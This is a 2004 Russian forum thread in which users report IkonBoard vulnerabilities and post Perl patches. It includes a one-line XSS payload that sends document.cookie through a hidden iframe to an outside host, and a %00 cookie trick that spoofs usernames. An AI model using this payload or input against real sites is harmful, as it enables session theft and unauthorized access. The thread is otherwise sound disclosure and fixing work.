Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » IkonBoard и другие форумы » Ikonboard v.2 » Безопасность/уязвимости IkonBoard

Модерирует : Antuan

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2

Открыть новую тему     Написать ответ в эту тему

z83



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
В процессе юзанья вашего дистрибутива обнаружилось слудеющее, не знаю может в последнем обновлении уже что-то испралено, но вот:
1. [имж]яваскрипт[/имж] или вбскрипт. И делай с форумом что хочешь. Вполоть до того что  придется закрывать окно форума через ctrl+alt+del, а так же в теории(лень пробовать) можно похитить всё пароли вплоть до админского. Так же такая фингя взоможна через ПМ.
2. Если вы модератор то вы с лёгкостью и в тихую можете поиметь пароль админа, через использование режима #moderation mode . Хоть и происходит замена тага <script> чтобы нельзя было юзать, однако достаточно добавить пробел после буквы t и таг проходит.
3. Есть возможность анонимно флудить по ПМ, а так же поганить "кто в онлайн". Кстати ваш форум не избавлен от второго косяка http://qwe384.narod.ru/prikol.jpg :)))))
4. Так же можно без проблем читать приватные форумы!!!
 
Как делается 3 и 4 говорить не буду... а то сразу все поломятся пакастить.
 
1 и 2 проблема легко ликвидируется, вставкой в фильтр нецезурщины такой замены:
script=пип
или лучше латинскую "p" заменить на русскую "р" script=scriрt
Думаю надо вставить такую замену в дистрибутив по умолчанию.
 
3 - без понятия как фиксить.
4 - можно и нужно фиксить.

Всего записей: 89 | Зарегистр. 09-10-2002 | Отправлено: 01:43 10-03-2004 | Исправлено: lynx, 02:01 10-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
z83
 
Сто лет назад все исправлено. Пользуйтесь дистрибутивом из файлового архива II и смотрите тему:
 
Баг с Яваскриптом (javascript) во всех версиях IkonBoard
 
Добавлено
z83
 

Цитата:
2. Если вы модератор то вы с лёгкостью и в тихую можете поиметь пароль админа, через использование режима #mоderation mode . Хоть и происходит замена тага <script> чтобы нельзя было юзать, однако достаточно добавить пробел после буквы t и таг проходит.  

 
Поподробнее, пжлст.
 

Цитата:
 Есть возможность анонимно флудить по ПМ

 
То есть гостям пользоваться пм? Да, есть такое.
Убрать?
 
 

Цитата:
 а так же поганить "кто в онлайн".  

 
Что значит поганить? И картинку с народа - не откроешь, положи на другой домент.
 
 

Цитата:
4. Так же можно без проблем читать приватные форумы!!!  
 
Как делается 3 и 4 говорить не буду... а то сразу все поломятся пакастить.  

 
 
Ну, говори уж. А то мы не верим
 

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 01:59 10-03-2004 | Исправлено: lynx, 02:08 10-03-2004
z83



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
 2 Поподробнее, пжлст.  

Ну делаешь этот #модмоде прячешь в пустой url чтобы не было видно,
далее делаем iframe 1x1
все это явовским методом write. Если просто написать, то не выдет - IE не позволит прочитать форму.
далее берем логин и пароль из формы и отправляем его к себе на сервак, там умный скрипт записывает его в файл.
Есть ещё несколько нюансов без который ничего не выдет, но я не буду их описывать...
 

Цитата:
То есть гостям пользоваться пм? Да, есть такое.  
Убрать?  

Не то, совсем не то.
Месаги посылается от несуществующего юзера. Не от гостя.
 

Цитата:
Что значит поганить? И картинку с народа - не откроешь, положи на другой домент.  

Так устроит? http://ewqe.pochta.ru/index.html
 

Цитата:
Ну, говори уж. А то мы не верим  

Не хочешь не верь

Цитата:
сразу все поломятся пакастить

У вас не читается, а вот у всех форумов которые поставлены с вашего дистрибутива читается...

Всего записей: 89 | Зарегистр. 09-10-2002 | Отправлено: 02:33 10-03-2004 | Исправлено: z83, 02:55 10-03-2004
Svarga

Moderator
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
z83

Цитата:
Ну делаешь этот #модмоде прячешь в пустой url чтобы не было видно,  
далее делаем iframe 1x1  
все это явовским методом write. Если просто написать, то не выдет - IE не позволит прочитать форму.  
далее берем логин и пароль из формы и отправляем его к себе на сервак, там умный скрипт записывает его в файл.  
Есть ещё несколько нюансов без который ничего не выдет, но я не буду их описывать...  

"О Боги, яду мне, яду." © М. Булгаков
Какие ещё такие нюансы-то? всё до безобразия примитивно )

Код:
<script>document.write('<iframe width=1 height=1 style="border: 0px none" src=httр://site.com/script.pl?'+document.cookie+'></iframe>')</script>

Нюанс в наличии только один имеется: что-то я не встречал форумов, где юзерам HTML разрешён (не знаю, может и есть любители открыть у себя на форуме самый прямой путь для XSS-атак, но большинство народу, всё-таки, из нормальных). Moderation Mode только модерам и админам обычно разрешён, которым эти пользовательские пароли нафиг не нужны. Если в форуме есть такой модератор, у которого может возникнуть желание админский пароль поиметь, то админ такого форума скорее всего идиот.
Если уж ты так за возможность вставки скриптов в HTML-код опасаешься, то единственный выход — попросту полностью запрещать HTML, т. к. не составит никакого труда обойти все ухищрения с попыткой блокировки вставки скриптов в HTML, а менять в коде pi на эр в <script> — это смешно и обходится в полтыка.
Но уж все эти обхождения я описывать не буду

----------
away.

Всего записей: 4161 | Зарегистр. 25-06-2002 | Отправлено: 03:27 10-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
z83

Цитата:
Что значит поганить? И картинку с народа - не откроешь, положи на другой домент.  
 
Так устроит? http://ewqe.pochta.ru/index.html  

 
Ну, это мелочи. не страшно. Опасности не представляет. Имя длинное в куку запихать и все. Предлагаешь ограничивать размер ячейки таблицы или ставить maxlenth или что?
 
И, кстати, что-то у меня не получилось так сделать.
 
Вот возьми этот форум: http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi
Он стоит на текущем дистрибутиве. Ломай на здоровье.
 
 

Цитата:
Месаги посылается от несуществующего юзера. Не от гостя.  

 
Гм... и это у меня не получилось.
 
 

Цитата:
Не хочешь не верь  

 
Ну, ты странный какой-то. Прибежал, пальчиком погрозил, говоришь, дистрибутив надо править, а даже не говоришь, в чем дело то. По детски как-то. Беспокоишься о владельцах форумов, так давай вмевсте выявим баги и прикроем. Боишься, что обсуждения нанесут ущерб владельцам - давай по пм.
 
 
 
 
 
 

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 03:31 10-03-2004
z83



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Вот к примеру заходим на любой форум - видим закрытый подраздел форума
http://z83.h10.ru/1.html
А теперь берём и заходим в него
http://z83.h10.ru/111.html

Всего записей: 89 | Зарегистр. 09-10-2002 | Отправлено: 03:47 10-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
z83
 
Ну, что ты фокусы показываешь, да еще на хат.ру, вот тебе кошки, тренируйся на них:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi
 
Тут зайди ^^.
 
И если уж ты нашел уязвимость, то скажи о ней. А если ты только фокусы будешь показывать, то это флейм называется.

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 04:07 10-03-2004
z83



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Блин не понимаю я вам баги принёс, а в ответ какие-то насмешки. Как будто вы тут самые умные. Неприятно однако
 

Цитата:
Если уж ты так за возможность вставки скриптов в HTML-код опасаешься

Я ничего не опасаюсь я просто говорю вам найденные дыры. Которые желательно заделать...

Цитата:
то админ такого форума скорее всего идиот

Так и передам lol
 

Цитата:
И, кстати, что-то у меня не получилось так сделать.  

В том то всё и дело, что просто так не получится. Фишка в том что перед ником надо написать %00 а пароль в куках сделать равным пустой строчке.

Цитата:
Ну, это мелочи. не страшно. Опасности не представляет

Ну к примеру можно матерные слова попробовать в адрес администрации.
Опасности никакой однако неприятно будет. К тому же это будет ещё отбражатся внизу главной страници.
 
lynx Сейчас в ПМ отправлю инфу про то как читать закрытые форумы....

Всего записей: 89 | Зарегистр. 09-10-2002 | Отправлено: 04:09 10-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Хорошо сказала. А форума закрытого не сделала. счас.
 
Добавлено
Я сделала закрытый форум, пробуй:
http://ib.ru-board.com/cgi/ikonboard/ikonboard.cgi
 

Цитата:
Блин не понимаю я вам баги принёс, а в ответ какие-то насмешки. Как будто вы тут самые умные. Неприятно однако  

 
Мы не смеемся, ты только баги принеси как положено. Конечно мы хотим закрыть все уязвимости.
 
 
 
Добавлено

Цитата:
В том то всё и дело, что просто так не получится. Фишка в том что перед ником надо написать %00 а пароль в куках сделать равным пустой строчке.  

 
Наверное, я делаю что-то не так, потому что у меня пишет:
 

Цитата:
Системная ошибка
 
Возможные причины ошибки: Possible hack attempt, the username is too long!  
 
Пожалуйста, свяжитесь с администратором конференции.  

 

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 04:11 10-03-2004
z83



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
lynx Ну прочёл я твою тему, там написано test
 
 
Добавлено

Цитата:
Наверное, я делаю что-то не так, потому что у меня пишет:  

Ну вот к примеру пишешь так
amembernamecookie=%00Privet
apasswordcookie=
 
И наверху будет написано Привет, Privet.
Отображается это только в IE, к примеру у меня в Опере просто путой ник.

Всего записей: 89 | Зарегистр. 09-10-2002 | Отправлено: 04:34 10-03-2004
Svarga

Moderator
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
z83
Цитата:
Блин не понимаю я вам баги принёс, а в ответ какие-то насмешки. Как будто вы тут самые умные. Неприятно однако  

Сорри, если обидел — такой уж у меня стиль речи кривой

Цитата:
то админ такого форума скорее всего идиот  
Так и передам lol  
это я к тому, что разрешать кому-то HTML, но при этом пытаться запретить в нём javascript — бестолковая затея: легко можно подобные запреты обойти самыми разнообразными способами. Уже что-то одно: или разрешать HTML кому-то со всеми вытекающими или запрещать.
 

Цитата:
%00

В messenger.cgi, forums.cgi, topic.cgi, ikonboard.cgi и всём остальном можно попытаться заменить:

Код:
$inmembername   = cookie("amembernamecookie");

на

Код:
($inmembername  = cookie("amembernamecookie")) =~s![^\da-zа-я_ ]!!gi;

 
PS. пока не тестил


----------
away.

Всего записей: 4161 | Зарегистр. 25-06-2002 | Отправлено: 03:12 11-03-2004 | Исправлено: Svarga, 03:14 11-03-2004
z83



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
на счёт %00 надо просто зделать переприсваивание пременной типа:
$name  = cookie("amembernamecookie"));
$inmembername  = $name;
 
Символ %00 уйдет сам собой, я проверял.
 
И на счёт профиксивания просморта закрытых тем:
ну вы блин нафиксили
я сегодня пробовал зайти и в результате скрипт ушёл в бесконечный цикл, а ваш сервак упал Уже как 2 раза
 
Добавлено
По заявкам желающих могу ещё раз отправить в даун

Всего записей: 89 | Зарегистр. 09-10-2002 | Отправлено: 01:54 12-03-2004
WebDi



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
z83
Ты смотри, осторожнее. Люди тут нервные.  
Проснёшься однажды, а в голове - ледоруб.
Шутник...

Всего записей: 2228 | Зарегистр. 05-04-2002 | Отправлено: 12:06 12-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Итак.  
Фиксинг возможности ходить в закрытые темы такой.
 
ikon.lib
 
sub getmember
 

Код:
 
sub getmember {
my $nametocheck = shift;
 
    $nametocheck =~ s/ /\_/g;
    $filetoopen = "$ikondir" . "members/$nametocheck.cgi";
    $filetoopen = &stripMETA($filetoopen);
    if (-e $filetoopen) {
        open(FILE,"$filetoopen");
        $filedata = <FILE>;
        close(FILE);
        chomp($filedata);
  ($membername, $password, $membertitle, $membercode, $numberofposts,  
$emailaddress, $showemail, $ipaddress, $homepage, $aolname, $icqnumber,
$location ,$interests, $joineddate, $lastpostdate, $signature, $timedifference,  
$privateforums, $useravatar, $misc1, $misc2, $misc3) = split(/\|/,$filedata);
   chomp $privateforums;

##Фиксим возможность проникать в закрытые форумы
if (($inmembername eq "Guest") || ($password ne $inpassword)){  
$inmembername = 'Guest';  
$inpassword = '';  
%allowedentry = '';  
return;  
}  
##Отфиксили

 
            if($privateforums) {
            @private = split(/&/,$privateforums);
            foreach $accessallowed (@private) {
                chomp $accessallowed;
                ($access, $value) = split(/=/,$accessallowed);
                $allowedentry{$access} = $value;
                }
            }
        }
    else { $userregistered = "no"; }
    }
 

 
Добавить то, что выделено красным.
 
Далее. Во избежении бага в topic.cgi, следом за этой подпрограммой добавляем еще одну:
 

Код:
 
##Сохраните подпрограмму тут, она нужна
 
sub gettopicmember {
my $nametocheck = shift;
$nametocheck =~ s/ /\_/g;
 my  $filetoopen = "$ikondir" . "members/$nametocheck.cgi";
   $filetoopen = &stripMETA($filetoopen);
    if (-e $filetoopen) {
        open(FILE,"$filetoopen");
        flock(FILE,1);
        $filedata = <FILE>;
        close(FILE);
        chomp($filedata);
($membername,$password,$membertitle,$membercode,$numberofposts,$emailaddress,
$showemail,$ipaddress,$homepage,$aolname,$icqnumber,$location,$interests,
$joineddate,$lastpostdate,$signature,$timedifference,$privateforums,$useravatar,
$misc1,$misc2,$misc3) = split(/\|/,$filedata);
   }# and if (-e $filetoopen)
 
    else {$userregistered = "no"; }
    } #end sub
 

 
В  обеих подпрограммах рекомендуется убрать пробелы между переменными
 
Далее, открываем topic.cgi. Ищем код:
 

Код:
 
 foreach (@threads[$startarray .. $endarray]) {
 
        ($membername, $topictitle, $postipaddress, $showemoticons, $showsignature, $postdate, $post) = split(/\|/,$_);
         
        $postdate = $postdate + ($timedifferencevalue*3600) + ($timezone*3600);
        $postdate = &dateformat("$postdate");
       &getmember("$membername");
        $mname=$membername;  
        $m_membername = $membername;
        $m_membername =~ y! !_!; &set_up_guest() unless (-e $ikondir . 'members/'.$m_membername.'.cgi');
 

 
И меняем его на код:
 

Код:
 
 foreach (@threads[$startarray .. $endarray]) {
 
        ($membername, $topictitle, $postipaddress, $showemoticons, $showsignature, $postdate, $post) = split(/\|/,$_);
         
        $postdate = $postdate + ($timedifferencevalue*3600) + ($timezone*3600);
        $postdate = &dateformat("$postdate");
        &gettopicmember("$membername");
        #^Именно эту подпрограмму надо вызывать
        $mname=$membername;  
        $m_membername = $membername;
        $m_membername =~ y! !_!; &set_up_guest() unless (-e $ikondir . 'members/'.$m_membername.'.cgi');
 

 
С этой уязвимостью все.
 
 
P.S. В файловом архиве -2 лежит версия дистрибутива, где эта уязвимость пофиксена.

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 00:39 24-03-2004 | Исправлено: lynx, 03:46 24-03-2004
trew

Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
lynx На дефолтной то что будет работать  - это понятно. Вопрос: а как оно будет работать на "обхаканых"...   ( такое слово, буквальное). Даже некоторые хаки надо подгонять друг под друга ?. Т.е можно подробнее описать само проникновение и что мы перекрываем?  

Всего записей: 716 | Зарегистр. 15-11-2003 | Отправлено: 01:44 24-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
trew

Цитата:
 На дефолтной то что будет работать  - это понятно. Вопрос: а как оно будет работать на "обхаканых"...  

 
Будет замечательно работать на любых конфах.
 
Перекрываем мы так возможность заходить в закрытые форумы, руками прописав в браузер куки - имя админа, номер закрытого форума и разрешение на вход в него.

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 01:55 24-03-2004
trew

Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
lynx Понял, спасибо!  
 
 
Добавлено

Цитата:
Есть возможность анонимно флудить по ПМ  
Еще бы с этим разобраться, очень неприятная штука , и обратно, когда работает Супер ПМ, то Гость получает тоже сообщение, и мягко говоря.. читает.

Всего записей: 716 | Зарегистр. 15-11-2003 | Отправлено: 02:18 24-03-2004
Marilda

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
trew

Цитата:
Цитата:Есть возможность анонимно флудить по ПМ  
Еще бы с этим разобраться, очень неприятная штука , и обратно, когда работает Супер ПМ, то Гость получает тоже сообщение, и мягко говоря.. читает.  

 
messenger.cgi
 

Код:
if ($inmembername eq "" || $inmembername eq "$ibtxt{'0043'}") {
    $inmembername = "$ibtxt{'0043'}";
    }
    else {
        &getmemberstime("$inmembername");
        }

 
заменить на  
 

Код:
if ($inmembername eq "" || $inmembername eq "$ibtxt{'0043'}") {
    $inmembername = "$ibtxt{'0043'}";
    }
    else {
        &getmemberstime("$inmembername");
        }
&getmember("$inmembername");  
&messengererror("$ibtxt{'0107'}&$ibtxt{'1102'}") if ($inmembername eq "Guest");

 
Есть, однако, минус. Если у юзера глюк с куками, выкидывает в гостя, что часто, то он в ПМ не попадет ни мытьем ни катаньем - будет выдавать ошибку. Тогда как в прежнем варианте он хотя бы сможет ввести логин/пароль.

Всего записей: 381 | Зарегистр. 24-10-2002 | Отправлено: 02:40 24-03-2004
lynx



Advanced lynx
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Marilda
 
Не так:
 

Код:
 
if (! $inmembername) { $inmembername = cookie("amembernamecookie"); }
if (! $inpassword)   { $inpassword   = cookie("apasswordcookie");   }
 
 
if ($inmembername eq "" || $inmembername eq "Guest") {
    $inmembername = "Guest";
&messengererror("Личный ящик&Гости не могут пользоваться личным ящиком") ;    
    }
##Это комментим, нафиг оно надо, все едино подпрограмму гетмембер потом вызываем
#    else {
#        &getmemberstime("$inmembername");
#        }
&getmember("$inmembername");          
##Это для забаненных
&messengererror("Личный ящик&Вы забанены") if($membercode eq "banned");  
 

 
Добавлено
Ой, точку с запятой не забудьте, счас поправлю код.
 
Добавлено
Так. С пм так.
 
Плюс к тому, что выше.
 
messenger.cgi
 

Код:
 
if ($action eq "loggedin") {
$namecookie = cookie(-name    =>   "amembernamecookie",
                     -value   =>   "$inmembername",
                     -path    =>   "$cookiepath",
                     -expires =>   "+30d");
$passcookie = cookie(-name    =>   "apasswordcookie",
                     -value   =>   "$inpassword",
                     -path    =>   "$cookiepath",
                     -expires =>   "+30d");
$inmembername  = $name;        
 

 
 
Добавить то, что красным.  
Соб-но это уже было сказано z83, за что ему выражается благодарность что указал на уязвимости и оказывал содействие

Всего записей: 11712 | Зарегистр. 08-05-2001 | Отправлено: 03:09 24-03-2004 | Исправлено: lynx, 03:12 24-03-2004
trew

Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Marilda
lynx
Спасибо!!!  
Еще если бы при заходе куда не надо клавиатура их током била...

Всего записей: 716 | Зарегистр. 15-11-2003 | Отправлено: 11:37 24-03-2004
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2

Компьютерный форум Ru.Board » IkonBoard и другие форумы » Ikonboard v.2 » Безопасность/уязвимости IkonBoard


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru